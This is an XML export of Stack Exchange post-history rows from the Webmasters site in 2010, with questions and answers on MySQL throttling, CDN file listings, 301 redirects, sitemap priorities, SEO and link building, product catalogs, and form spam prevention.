  <row Id="2240" PostHistoryTypeId="5" PostId="756" RevisionGUID="1df5101f-8e48-44a0-bd8d-949186efdf2a" CreationDate="2010-07-19T15:19:00.013" UserId="26" Comment="adding a bounty; deleted 17 characters in body" Text="My shared-host tells me that they're throttling my website because of MySQL, what can I do?&#xD;&#xA;&#xD;&#xA;I'm not familiar enough with performance tuning of MySQL, generally MySQL just works for me. What questions do I need to ask to figure out how to fix this? Is this memory? Is this processor? Is this configuration of MySQL? Assuming I get access to the slow query log, what will it take for me to make sense of it?&#xD;&#xA;&#xD;&#xA;I'm asking this as a generic, but I have run into this many times and generally it's a substandard host. Changing to a better host and implementing caching usually does the trick. But what are the most important settings to consider in order of priority?&#xD;&#xA;&#xD;&#xA;**UPDATE:** I'm hoping to get this to be a checklist of &quot;how can I tell if MySQL is set up okay on my shared hosting account?&quot; type issues." />
  <row Id="2241" PostHistoryTypeId="6" PostId="756" RevisionGUID="1df5101f-8e48-44a0-bd8d-949186efdf2a" CreationDate="2010-07-19T15:19:00.013" UserId="26" Comment="adding a bounty; deleted 17 characters in body" Text="&lt;mysql&gt;&lt;shared-hosting&gt;&lt;throttling&gt;" />
  <row Id="2243" PostHistoryTypeId="2" PostId="1258" RevisionGUID="481daded-88f4-4bda-a7bc-76e070b63592" CreationDate="2010-07-19T15:31:07.370" UserId="271" Text="I use caching in ASP.NET, and that can save a load of time by avoiding duplicate database calls, function calls and even pages. " />
  <row Id="2244" PostHistoryTypeId="2" PostId="1259" RevisionGUID="46609158-eadd-4bf1-8a7d-5e44ec52bf4a" CreationDate="2010-07-19T15:40:27.080" UserId="26" Text="Specifically for jQuery UI there's a MAINFEST file at http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/MANIFEST which includes paths relative to that file for the jQuery UI files. The CSS file in your example actually does exist. I'm seeing CSS at:&#xD;&#xA;&#xD;&#xA;&gt; http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css&#xD;&#xA;&#xD;&#xA;Maybe I'm misunderstanding you though?&#xD;&#xA;&#xD;&#xA;The Microsoft CDN is cool, but totally new to me. &#xD;&#xA;&#xD;&#xA;Here's an interesting article on [pros and cons of using JavaScript CDN][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zoompf.com/blog/2010/01/should-you-use-javascript-library-cdns" />
  <row Id="2245" PostHistoryTypeId="2" PostId="1260" RevisionGUID="5006ac48-7a51-4210-8a6f-c40c8c08ec2d" CreationDate="2010-07-19T15:44:36.693" UserId="626" Text="To do 301 redirects, you'll need to have an A record that points to a valid web server. You can then instruct the web server to redirect people, eg. with Apache's .htaccess:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.example.com&#xD;&#xA;&#xD;&#xA;MX records can be created as usual." />
  <row Id="2246" PostHistoryTypeId="2" PostId="1261" RevisionGUID="0301cf24-1283-460b-8528-37bc9546d9fe" CreationDate="2010-07-19T16:08:43.890" UserId="693" Text="you could check out [Myows Copyright Management Solution][1].&#xD;&#xA;&#xD;&#xA;&gt; Myows stands for &quot;MY Original Works&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; It’s an easy-to-use app dedicated to&#xD;&#xA;&gt; providing a full suite of copyright&#xD;&#xA;&gt; solutions, from registration to&#xD;&#xA;&gt; management.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Myows has been created for designers,&#xD;&#xA;&gt; photographers, bloggers, writers,&#xD;&#xA;&gt; musicians and anyone who creates&#xD;&#xA;&gt; copyrightable work.&#xD;&#xA;&gt; &#xD;&#xA;&gt; All in one place, online, for free&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://myows.com/" />
  <row Id="2247" PostHistoryTypeId="2" PostId="1262" RevisionGUID="64fc7c70-0a88-415c-8ba6-d74ccb74abd5" CreationDate="2010-07-19T16:13:03.607" UserId="26" Text="You should use your [sitemap][1] to index everything. There's no downside to including every url, and there is a danger that at a large scale some urls will get missed.&#xD;&#xA;&#xD;&#xA;In your sitemap, every url can have different set of data associated with it. Have a look at the [Element Definitions][2] and adjust the settings for the more important urls and less important &#xD;&#xA;&#xD;&#xA;    &lt;url&gt;&#xD;&#xA;      &lt;loc&gt;http://www.example.com/about&lt;/loc&gt;&#xD;&#xA;      &lt;lastmod&gt; 2010-06-30&lt;/lastmod&gt;&#xD;&#xA;      &lt;changefreq&gt;monthly&lt;/changefreq&gt;&#xD;&#xA;      &lt;priority&gt;0.8&lt;/priority&gt;&#xD;&#xA;    &lt;/url&gt;&#xD;&#xA;&#xD;&#xA;The values for `&lt;changefreq&gt; are about how frequently a page may change. Adjust the value as needed, `always` and `hourly` show you think the page updates frequently.&#xD;&#xA;&#xD;&#xA; 1. `always`&#xD;&#xA; 1. `hourly`&#xD;&#xA; 1. `daily`&#xD;&#xA; 1. `weekly`&#xD;&#xA; 1. `monthly`&#xD;&#xA; 1. `yearly`&#xD;&#xA; 1. `never`&#xD;&#xA;&#xD;&#xA;And you can set the value for `&lt;priority&gt;`:&#xD;&#xA;&#xD;&#xA; - `&lt;priority&gt;1.0&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.9&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.8&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.7&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.6&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.5&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.4&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.3&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.2&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.1&lt;/priority&gt;`&#xD;&#xA; - `&lt;priority&gt;0.0&lt;/priority&gt;`&#xD;&#xA;&#xD;&#xA;So for the pages you find more important, set items in order of priority. Very most important set to `1.0`, important `0.9`, regular importance `0.5` and not important `0.1` or `0.0`. That should give you the amount of control you're looking for.&#xD;&#xA;&#xD;&#xA;In short, there's no downside to keeping everything, assuming you have less than [50,000 urls][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Sitemaps#Element_definitions&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Sitemaps#Sitemap_limits&#xD;&#xA;" />
  <row Id="2248" PostHistoryTypeId="5" PostId="1250" RevisionGUID="b489af77-13f2-4736-afea-8d3a952cc04d" CreationDate="2010-07-19T16:15:53.903" UserId="26" Comment="deleted 1 characters in body" Text="The [Android SDK][1] comes with an emulator that you could use to test your websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.android.com/sdk/" />
  <row Id="2249" PostHistoryTypeId="5" PostId="1256" RevisionGUID="f4b0802c-3343-41d3-ace7-76a85cd2bb3f" CreationDate="2010-07-19T16:27:12.330" UserId="480" Comment="added 402 characters in body; edited tags; added 59 characters in body; edited tags" Text="While Google hosts [this list][1] and Microsoft hosts [this one][2] there are several files missing such as [jQuery UI CSS][3]. Where can I find a complete listing of all the resources offered for major AJAX CDNs, especially Google and Microsoft (due to popularity)?&#xD;&#xA;&#xD;&#xA;**CDNs listings found so far** (mostly thanks to [artlung][4]):&#xD;&#xA;&#xD;&#xA;Google:&#xD;&#xA;http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Microsoft: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;AOL: http://o.aolcdn.com (can only find http://dev.aol.com/dojo for references to URLs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Yahoo: http://developer.yahoo.com/yui/articles/hosting/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;  [2]: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;  [3]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/users/26/artlung" />
  <row Id="2250" PostHistoryTypeId="6" PostId="1256" RevisionGUID="f4b0802c-3343-41d3-ace7-76a85cd2bb3f" CreationDate="2010-07-19T16:27:12.330" UserId="480" Comment="added 402 characters in body; edited tags; added 59 characters in body; edited tags" Text="&lt;google&gt;&lt;cdn&gt;&lt;ajax&gt;&lt;microsoft&gt;" />
  <row Id="2251" PostHistoryTypeId="2" PostId="1263" RevisionGUID="aff09ac6-ab97-4d13-91b7-0475295b6773" CreationDate="2010-07-19T16:28:37.947" UserId="693" Text="I often launch a new website. Most of the time these are brand new websites with new domain names and new content.&#xD;&#xA;&#xD;&#xA;When I am done and go online I do the following things:&#xD;&#xA;&#xD;&#xA; - Register the website with webmaster tools ( [Google][1], [Bing][2], [Yahoo!][3], [Alexa][4] )&#xD;&#xA; - Register the website with [Google Analytics][5]&#xD;&#xA; - Sometimes I register Social networking accounts for the website ( [Facebook][6], [Twitter][7] )&#xD;&#xA;&#xD;&#xA;So this covers crawling results, some keyword analyses, visitor analyses, and link building.&#xD;&#xA;&#xD;&#xA;After this I just wait for some results to come in (sometimes weeks), and then I do some analyses on them. &#xD;&#xA;&#xD;&#xA;Are there more tools that are handy to use when you launch new websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters&#xD;&#xA;  [2]: http://www.bing.com/webmaster&#xD;&#xA;  [3]: https://siteexplorer.search.yahoo.com&#xD;&#xA;  [4]: http://www.alexa.com&#xD;&#xA;  [5]: http://www.google.com/analytics/&#xD;&#xA;  [6]: http://facebook.com&#xD;&#xA;  [7]: http://twitter.com" />
  <row Id="2252" PostHistoryTypeId="1" PostId="1263" RevisionGUID="aff09ac6-ab97-4d13-91b7-0475295b6773" CreationDate="2010-07-19T16:28:37.947" UserId="693" Text="Tools to monitor/analyse your website after launch" />
  <row Id="2253" PostHistoryTypeId="3" PostId="1263" RevisionGUID="aff09ac6-ab97-4d13-91b7-0475295b6773" CreationDate="2010-07-19T16:28:37.947" UserId="693" Text="&lt;best-practice&gt;&lt;webmaster-tools&gt;" />
  <row Id="2254" PostHistoryTypeId="2" PostId="1264" RevisionGUID="e0e5b03a-d4fc-43e0-abee-8d4b0d6e8164" CreationDate="2010-07-19T17:05:20.877" UserId="108" Text="There are tons of tools.  In general. I think you will find there are 2 kinds of tools.&#xD;&#xA;&#xD;&#xA; 1. Tools to Analyze how well written, the SEO friendliness, and speed of your site.&#xD;&#xA; 2. Tools to Analyze and watch the who, what, when, where, and how of the visitors that hit your site.&#xD;&#xA;&#xD;&#xA;First to cover analyzing tools. These tools are great pre and post launch.  Google Webmaster tools will gives you some idea about crawling issue, broken links, site speed, etc. I also find these tools helpful:&#xD;&#xA;&#xD;&#xA; 1. IIS7's SEO 1.0 Toolkit.  It finds broken links, SEO errors, HTML errors, and a ton more.&#xD;&#xA; 2. W3C's HTML validator here, http://validator.w3.org/.  Its great for the HTML nitty gritty.  &#xD;&#xA; 3. SenSEO - http://www.sensational-seo.com/ Is also pretty good though it isn't up to date with the latest version of FireFox right now.&#xD;&#xA;&#xD;&#xA;Then for monitoring tools you have a ton of options.  Google Analytics is great and free.&#xD;&#xA;&#xD;&#xA; 1. Omniture, http://www.omniture.com/en/, is great but isn't cheap.&#xD;&#xA; 2. CrazyEgg, http://www.crazyegg.com, is a great heatmap tool.  It lets you see where people click on your page.  It isn't free either but  it isn't prohibitively expensive.&#xD;&#xA; 3. This site, http://tools.seobook.com/ has some great tools.  To get the full benefit you have to spend money but you can use the simple tools for free.&#xD;&#xA; 4. This site, http://www.seo-browser.com, will show you what you page looks like to the crawlers.  It is free&#xD;&#xA; 5. SEOMoz has some awesome tools, some free, most aren't. http://www.seomoz.org/tools&#xD;&#xA; 6. Bruce Clay's company also has some free tools and some that cost money.  http://www.bruceclay.com/seo/tools.htm&#xD;&#xA;&#xD;&#xA;Finally, http://www.dailyblogtips.com/top-25-seo-blogs/ is a list of the top 25 blogs as of a few years ago.  The sites listed are full of tools and information you are trying to find." />
  <row Id="2255" PostHistoryTypeId="2" PostId="1265" RevisionGUID="2b25b667-e0c2-449e-87f2-a970cdc73cdb" CreationDate="2010-07-19T17:08:50.933" UserId="210" Text="This isn't a true list for both Google and Microsoft, but it lists the ones Google hosts: http://scriptsrc.net/ and provides nice JS for copying the needed HTML.&#xD;&#xA;&#xD;&#xA;Google also hosts the CSS and associated images for jQuery UI at `//ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/blitzer/jquery-ui.css` where blitzer is the theme name." />
  <row Id="2256" PostHistoryTypeId="5" PostId="1039" RevisionGUID="c6d4b5ce-292f-4f85-89cc-68c119c5606c" CreationDate="2010-07-19T17:37:15.860" UserId="55" Comment="deleted 2 characters in body" Text="You should handle it just like any other threat to someone's life. A person threatening suicide, or to kill someone else, is still threatening to kill ***someone***. The only sensible thing to do is try and report it.&#xD;&#xA;&#xD;&#xA;If you have the visitor's information, you may be able to get in touch with a local police department. This might be difficult if the visitor is from another country. If not, you have the FBI, etc, even if they tell you that there's nothing they or you can do.&#xD;&#xA;&#xD;&#xA;If the person followed through, at least you ***tried*** to report it, furthermore, nobody can say you ***failed*** to report it." />
  <row Id="2257" PostHistoryTypeId="2" PostId="1266" RevisionGUID="ada1114f-9b27-48e0-9caf-a14a68503f46" CreationDate="2010-07-19T17:49:38.453" UserId="831" Text="Lets say the site is for a random small-medium sized business that sells a product out of a store in one location.  I've seen about a million &quot;Business Listing&quot; sites, but heard that Google doesn't use these to determine page rank.  Are there any sites worth submitting my site to in the hopes of improving page rank?" />
  <row Id="2258" PostHistoryTypeId="1" PostId="1266" RevisionGUID="ada1114f-9b27-48e0-9caf-a14a68503f46" CreationDate="2010-07-19T17:49:38.453" UserId="831" Text="Good sites to request an inbound link when launching a new website?" />
  <row Id="2259" PostHistoryTypeId="3" PostId="1266" RevisionGUID="ada1114f-9b27-48e0-9caf-a14a68503f46" CreationDate="2010-07-19T17:49:38.453" UserId="831" Text="&lt;seo&gt;" />
  <row Id="2260" PostHistoryTypeId="2" PostId="1267" RevisionGUID="92af0152-0d83-41cc-a9e5-46cf88d7fcf7" CreationDate="2010-07-19T17:51:14.723" UserId="9301" Text="http://www.dmoz.org/" />
  <row Id="2261" PostHistoryTypeId="2" PostId="1268" RevisionGUID="951916e2-5e0a-4626-9e25-19a95ac1f755" CreationDate="2010-07-19T17:58:31.387" UserId="832" Text="I think the posterous answers is the right one for a dead simple solution.&#xD;&#xA;However if you want a php / mysql solution that you can install on your server&#xD;&#xA;&#xD;&#xA;I suggest you try [OpenSourceCMS.com][1] What they do is they have installed demo versions of all the CMS that are php/mysql you can try them without you needing to install. and every hour they clear all the experiments and setup a new fresh installation.&#xD;&#xA;&#xD;&#xA;This is the category for [Blog][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.opensourcecms.com&#xD;&#xA;  [2]: http://php.opensourcecms.com/scripts/show.php?catid=2&amp;category=Blogs&#xD;&#xA;&#xD;&#xA;* Finally I personally prefer Habari over WordPress" />
  <row Id="2262" PostHistoryTypeId="2" PostId="1269" RevisionGUID="af59f994-dcfc-41da-9153-f1130d57f1d7" CreationDate="2010-07-19T18:02:58.023" UserId="55" Text="Make sure your site is agreeable, than submit it to [dmoz][1]. See [this question][2] as well.  As far as other links go, you really do need to work for them. I suggest:&#xD;&#xA;&#xD;&#xA; - Finding forums and adding something worth while to conversations while utilizing your signature link&#xD;&#xA; - Do the same thing with blogs that match your topic. Don't SPAM, make a concerted effort to add something useful to the conversation. That generally gets your link approved, many blogs remove the 'nofollow' from posts that quality users submit.&#xD;&#xA; - Go ahead and submit to the 'junk' directories. You never know, you may find a great proponent for your site by doing so. In my experience, it doesn't hurt. Just make sure the directory is moderated to a degree. If you see something like 'group sex with aliens', don't bother. Discretion is the key there.&#xD;&#xA; - There's no shame in self promotion when it comes to social networks. Moderation is the key. Conduct a simple [breaching experiment][3] prior if the rules are not clear to gauge any given community. Be polite, be responsive and don't just dump links and run. In fact, posting answers that use affiliate links to third party sites on this site is indeed a breaching experiment at this point.&#xD;&#xA; - Give some thought to bringing on people who eat, sleep and breathe marketing and branding. Some things seem simple until you spend a whopping fortune only to realize that they aren't so simple. Qualified freelance talent is often affordable.&#xD;&#xA;&#xD;&#xA;This question is kind of 'meta' in nature, hence the answers will reflect that, but I think you've touched on a good point.&#xD;&#xA;&#xD;&#xA;Note, &quot;[How do I move the turtle in LOGO][4]&quot; was a breaching experiment, conducted by one of the owners of Stack Overflow.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Breaching_experiment&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1003841/how-do-i-move-the-turtle-in-logo" />
  <row Id="2263" PostHistoryTypeId="2" PostId="1270" RevisionGUID="b722f699-9b37-4b19-b21b-c832d7daff1e" CreationDate="2010-07-19T18:03:37.227" UserId="833" Text="What is the common practice in creating (and updating) the product catalog (all products/models/tech specs) for online electronics store?&#xD;&#xA;&#xD;&#xA;Does any of the manufacturers/OEMs have an appropriate API to pull the data? &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;sbereli" />
  <row Id="2264" PostHistoryTypeId="1" PostId="1270" RevisionGUID="b722f699-9b37-4b19-b21b-c832d7daff1e" CreationDate="2010-07-19T18:03:37.227" UserId="833" Text="Product catalog API" />
  <row Id="2265" PostHistoryTypeId="3" PostId="1270" RevisionGUID="b722f699-9b37-4b19-b21b-c832d7daff1e" CreationDate="2010-07-19T18:03:37.227" UserId="833" Text="&lt;database&gt;" />
  <row Id="2266" PostHistoryTypeId="5" PostId="1269" RevisionGUID="beb917eb-0fd8-4c7a-a26b-377b0f8ae34e" CreationDate="2010-07-19T18:10:22.080" UserId="55" Comment="added 24 characters in body; added 132 characters in body" Text="Make sure your site is agreeable, than submit it to [dmoz][1] (AKA The Open Directory). See [this question][2] as well. As far as other links go, you really do need to work for them. I suggest:&#xD;&#xA;&#xD;&#xA; - Finding forums and adding something worth while to conversations while utilizing your signature link&#xD;&#xA; - Do the same thing with blogs that match your topic. Don't SPAM, make a concerted effort to add something useful to the conversation. That generally gets your link approved, many blogs remove the 'nofollow' from posts that quality users submit.&#xD;&#xA; - Go ahead and submit to the 'junk' directories. You never know, you may find a great proponent for your site by doing so. In my experience, it doesn't hurt. Just make sure the directory is moderated to a degree. If you see something like 'group sex with aliens', don't bother. Discretion is the key there. If you see a lot of [broken windows][3] in any given directory, move on.&#xD;&#xA; - There's no shame in self promotion when it comes to social networks. Moderation is the key. Conduct a simple [breaching experiment][4] prior if the rules are not clear to gauge any given community. Be polite, be responsive and don't just dump links and run. In fact, posting answers that use affiliate links to third party sites on this site is indeed a breaching experiment at this point.&#xD;&#xA; - Give some thought to bringing on people who eat, sleep and breathe marketing and branding. Some things seem simple until you spend a whopping fortune only to realize that they aren't so simple. Qualified freelance talent is often affordable.&#xD;&#xA;&#xD;&#xA;This question is kind of 'meta' in nature, hence the answers will reflect that, but I think you've touched on a good point.&#xD;&#xA;&#xD;&#xA;Note, &quot;[How do I move the turtle in LOGO][5]&quot; was a breaching experiment, conducted by one of the owners of Stack Overflow.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Broken_windows_theory&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Breaching_experiment&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1003841/how-do-i-move-the-turtle-in-logo" />
  <row Id="2267" PostHistoryTypeId="5" PostId="1269" RevisionGUID="30368514-2304-4109-b78c-84d24162605d" CreationDate="2010-07-19T18:15:46.793" UserId="55" Comment="deleted 83 characters in body; deleted 4 characters in body" Text="Make sure your site is agreeable, than submit it to [dmoz][1] (AKA The Open Directory). See [this question][2] as well. As far as other links go, you really do need to work for them. I suggest:&#xD;&#xA;&#xD;&#xA; - Finding forums and adding something worth while to conversations while utilizing your signature link&#xD;&#xA; - Do the same thing with blogs that match your topic. Don't SPAM, make a concerted effort to add something useful to the conversation. That generally gets your link approved, many blogs remove the 'nofollow' from posts that quality users submit.&#xD;&#xA; - Go ahead and submit to the 'junk' directories. You never know, you may find a great proponent for your site by doing so. In my experience, it doesn't hurt. Just make sure the directory is moderated to a degree. If you see something like 'group sex with aliens', don't bother. Discretion is the key there. If you see a lot of [broken windows][3] in any given directory, move on.&#xD;&#xA; - There's no shame in self promotion when it comes to social networks. Moderation is the key. Conduct a simple [breaching experiment][4] prior if the rules are not clear to gauge any given community. Be polite, be responsive and don't just dump links and run. Courting a community means being part of it.&#xD;&#xA; - Give some thought to bringing on people who eat, sleep and breathe marketing and branding. Some things seem simple until you spend a whopping fortune only to realize that they aren't so simple. Qualified freelance talent is often affordable.&#xD;&#xA;&#xD;&#xA;This question is kind of 'meta' in nature, hence the answers will reflect that, but I think you've touched on a good point.&#xD;&#xA;&#xD;&#xA;Note, &quot;[How do I move the turtle in LOGO][5]&quot; was a breaching experiment, conducted by one of the owners of Stack Overflow.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Broken_windows_theory&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Breaching_experiment&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1003841/how-do-i-move-the-turtle-in-logo" />
  <row Id="2268" PostHistoryTypeId="5" PostId="1039" RevisionGUID="65b3c521-746a-43a2-ae49-0aff76aeb20d" CreationDate="2010-07-19T18:22:54.957" UserId="55" Comment="added 61 characters in body" Text="You should handle it just like any other threat to someone's life. A person threatening suicide, or to kill someone else, is still threatening to kill ***someone***. The only sensible thing to do is try and report it.&#xD;&#xA;&#xD;&#xA;If you have the visitor's information, you may be able to get in touch with a local police department. This might be difficult if the visitor is from another country. If not, you have the FBI, etc, even if they tell you that there's nothing they or you can do.&#xD;&#xA;&#xD;&#xA;If the person followed through, at least you ***tried*** to report it, furthermore, nobody can say you ***failed*** to report it, though I hate to bring up public perception in such a topic." />
  <row Id="2269" PostHistoryTypeId="2" PostId="1271" RevisionGUID="dc748131-b3df-4993-b170-c83cb5e9476d" CreationDate="2010-07-19T18:31:52.393" UserId="40" Text="I know about captcha. However, often it is stated that captcha stops legitimate users due to the inconvenience. Are there other solution, that in particular look for pattern in the input similar to e-mail spamfilters, or for random sequences of letters? (In particular, a solution that works with drupal would be good)." />
  <row Id="2270" PostHistoryTypeId="1" PostId="1271" RevisionGUID="dc748131-b3df-4993-b170-c83cb5e9476d" CreationDate="2010-07-19T18:31:52.393" UserId="40" Text="What solution a good solution to prevent spam of web forms?" />
  <row Id="2271" PostHistoryTypeId="3" PostId="1271" RevisionGUID="dc748131-b3df-4993-b170-c83cb5e9476d" CreationDate="2010-07-19T18:31:52.393" UserId="40" Text="&lt;spam-blocker&gt;&lt;drupal&gt;" />
  <row Id="2272" PostHistoryTypeId="5" PostId="1269" RevisionGUID="508c7a97-7fe5-42ce-998e-057195fe8e26" CreationDate="2010-07-19T18:40:55.293" UserId="55" Comment="added 159 characters in body" Text="Make sure your site is agreeable, than submit it to [dmoz][1] (AKA The Open Directory). See [this question][2] as well. As far as other links go, you really do need to work for them. I suggest:&#xD;&#xA;&#xD;&#xA; - Finding forums and adding something worth while to conversations while utilizing your signature link&#xD;&#xA; - Do the same thing with blogs that match your topic. Don't SPAM, make a concerted effort to add something useful to the conversation. That generally gets your link approved, many blogs remove the 'nofollow' from posts that quality users submit.&#xD;&#xA; - Go ahead and submit to the 'junk' directories. You never know, you may find a great proponent for your site by doing so. In my experience, it doesn't hurt. Just make sure the directory is moderated to a degree. If you see something like 'group sex with aliens', don't bother. Discretion is the key there. If you see a lot of [broken windows][3] in any given directory, move on.&#xD;&#xA; - There's no shame in self promotion when it comes to social networks. Moderation is the key. Conduct a simple [breaching experiment][4] prior if the rules are not clear to gauge any given community. Be polite, be responsive and don't just dump links and run. Courting a community means being part of it.&#xD;&#xA; - Give some thought to bringing on people who eat, sleep and breathe marketing and branding. Some things seem simple until you spend a whopping fortune only to realize that they aren't so simple. Qualified freelance talent is often affordable.&#xD;&#xA;&#xD;&#xA;This question is kind of 'meta' in nature, hence the answers will reflect that, but I think you've touched on a good point. However, 'good sites' entirely depends on your topic, and I think a list of them would result in a rather lengthy discussion which is off topic for this site.&#xD;&#xA;&#xD;&#xA;Note, &quot;[How do I move the turtle in LOGO][5]&quot; was a breaching experiment, conducted by one of the owners of Stack Overflow.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/634/does-an-entry-in-dmoz-significantly-help-the-ranking-of-a-web-site&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Broken_windows_theory&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Breaching_experiment&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1003841/how-do-i-move-the-turtle-in-logo" />
  <row Id="2273" PostHistoryTypeId="2" PostId="1272" RevisionGUID="2189c788-06b1-4a66-b985-64c73a7a8cd9" CreationDate="2010-07-19T18:41:06.853" UserId="287" Text="I've heard of people putting fields in forms and then hiding them behind an image or div.  Then when the form is submitted, if that 'hidden' field is filed out then they know it was filed out by a bot and not a human.&#xD;&#xA;&#xD;&#xA;Obviously this method has drawbacks (particularly for the visually impaired) and I can't say I've ever implemented it myself." />
  <row Id="2274" PostHistoryTypeId="6" PostId="1266" RevisionGUID="116402c9-0fbd-40c9-b5ca-f742568ff35f" CreationDate="2010-07-19T18:41:30.970" UserId="55" Comment="edited tags" Text="&lt;seo&gt;&lt;link-submission&gt;" />
  <row Id="2275" PostHistoryTypeId="2" PostId="1273" RevisionGUID="ef085a8b-0c64-4e99-a6c5-4613ba421f27" CreationDate="2010-07-19T18:42:53.433" UserId="108" Text="There are obviously ton's of ways to do this.  However, if you are looking for something for a large scale enterprise project, then you probably want to look into a Product Information Management (PIM) solution http://en.wikipedia.org/wiki/Product_information_management. &#xD;&#xA;&#xD;&#xA;Also, within that there is the Open ICEcat, which is an open catalog management infrastructure.  Find out more here, http://en.wikipedia.org/wiki/Open_ICEcat. This format allows for APIs that can be used to pull data from manufacturer's.  Unfortunately, I don't believe many companies use this software but I could be incorrect.&#xD;&#xA;&#xD;&#xA;If this is not what you are looking for, could you please be more clear and give us some more detail and maybe an example of what you mean?" />
  <row Id="2276" PostHistoryTypeId="4" PostId="1271" RevisionGUID="a7079c5f-1db0-42fd-b91e-7c471333ffd6" CreationDate="2010-07-19T18:43:51.217" UserId="108" Comment="Fixed title grammar" Text="What solution is a good solution to prevent spam of web forms?" />
  <row Id="2277" PostHistoryTypeId="2" PostId="1274" RevisionGUID="01dfb6d8-4ed9-46b6-8e97-8ca7eeecdafa" CreationDate="2010-07-19T18:46:43.957" UserId="108" Text="One you can find here from SO: http://stackoverflow.com/questions/8472/practical-non-image-based-captcha-approaches" />
  <row Id="2278" PostHistoryTypeId="5" PostId="1256" RevisionGUID="49261dcf-1df6-462a-a31d-980028ac2ff9" CreationDate="2010-07-19T19:09:09.913" UserId="480" Comment="added 137 characters in body" Text="While Google hosts [this list][1] and Microsoft hosts [this one][2] there are several files missing such as [jQuery UI CSS][3]. Where can I find a complete listing of all the resources offered for major AJAX CDNs, especially Google and Microsoft (due to popularity)?&#xD;&#xA;&#xD;&#xA;**CDNs listings found so far** (mostly thanks to [artlung][4]):&#xD;&#xA;&#xD;&#xA;Google:&#xD;&#xA;http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;([Darryl Hein][5] also found http://scriptsrc.net/ for easier access)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Microsoft: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;AOL: http://o.aolcdn.com (can only find http://dev.aol.com/dojo for references to URLs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Yahoo: http://developer.yahoo.com/yui/articles/hosting/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;  [2]: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;  [3]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/users/26/artlung&#xD;&#xA;  [5]: http://webmasters.stackexchange.com/users/210/darryl-hein" />
